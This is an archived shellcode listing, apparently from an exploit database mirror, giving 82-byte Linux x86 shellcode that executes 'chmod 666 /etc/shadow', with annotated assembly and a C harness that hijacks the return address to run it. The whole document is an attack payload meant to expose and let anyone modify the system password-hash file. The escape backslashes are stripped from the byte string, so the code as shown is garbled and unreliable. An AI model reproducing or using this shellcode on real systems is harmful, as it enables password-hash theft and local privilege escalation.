[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 chmod 666 /etc/shadow 82 bytes
# Published : 2004-09-26
# Author : Matias Sedalo
# Previous Title : linux/x86 ipchains -F 49 bytes
# Next Title : netbsd/x86 execve /bin/sh 68 bytes


/* 
 * s0t4ipv6@Shellcode.com.ar
 * 
 * Usando execve() y un array de punteros
 * 
 *  #include <stdio.h>
 *  main() {
 *       char *name[4];
 *       name[0]="/bin/chmod";
 *       name[1]="666";
 *       name[2]="/etc/shadow";
 *       name[3]=NULL;
 *       execve(name[0],name,NULL);
 *  }
 */

#include <stdio.h>

char shellcode[]=
"xebx31"		//	jmp	0x31			// 3-4
"x5e"			//	popl	%esi			// 5
"x31xc0"		//	xorl	%eax, %eax		// 6-7
"x88x46x0a"		//	movb	%al, 0xa(%esi)		// 8-10
"x88x46x0e"		//	movb	%al, 0xe(%esi)		// 11-13
"x88x46x1a"		//	movb	%al, 0x1a(%esi)		// 14-16
"x89x76x1b"		//	movl	%esi, 0x1b(%esi)	// 17-19
"x8dx7ex0b"		//	leal	0xb(%esi), %edi		// 20-22
"x89x7ex1f"		//	movl	%edi, 0x1f(%esi)	// 23-25
"x8dx7ex0f"		//	leal	0xf(%esi), %edi		// 26-28
"x89x7ex23"		//	movl	%edi, 0x23(%esi)	// 29-31
"x89x46x27"		//	movl	%eax 0x27(%esi)		// 32-34
"xb0x0b"		//	movb	$0xb, %al		// 35-36 0xb to eax (syscall execve)
"x89xf3"		//	movl	%esi, %ebx		// 37-38 name[0] to ebx
"x8dx4ex1b"		//	leal    0x1b(%esi),%ecx		// 39-41
"x8dx56x27"		//	leal    0x27(%esi),%edx		// 42-44
"xcdx80"		//	int	$0x80			// 45-46
"x31xc0"		//	xorl	%eax, %eax		// 47-48
"x31xdb"		//	xorl    %ebx, %ebx		// 49-50
"x40"			//	inc	%eax			// 51
"xcdx80"		//	int	$0x80			// 52-53
"xe8xcaxffxffxff"	//	call	-0x36
"/bin/chmod06660/etc/shadow";

main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// www.Syue.com [2004-09-26]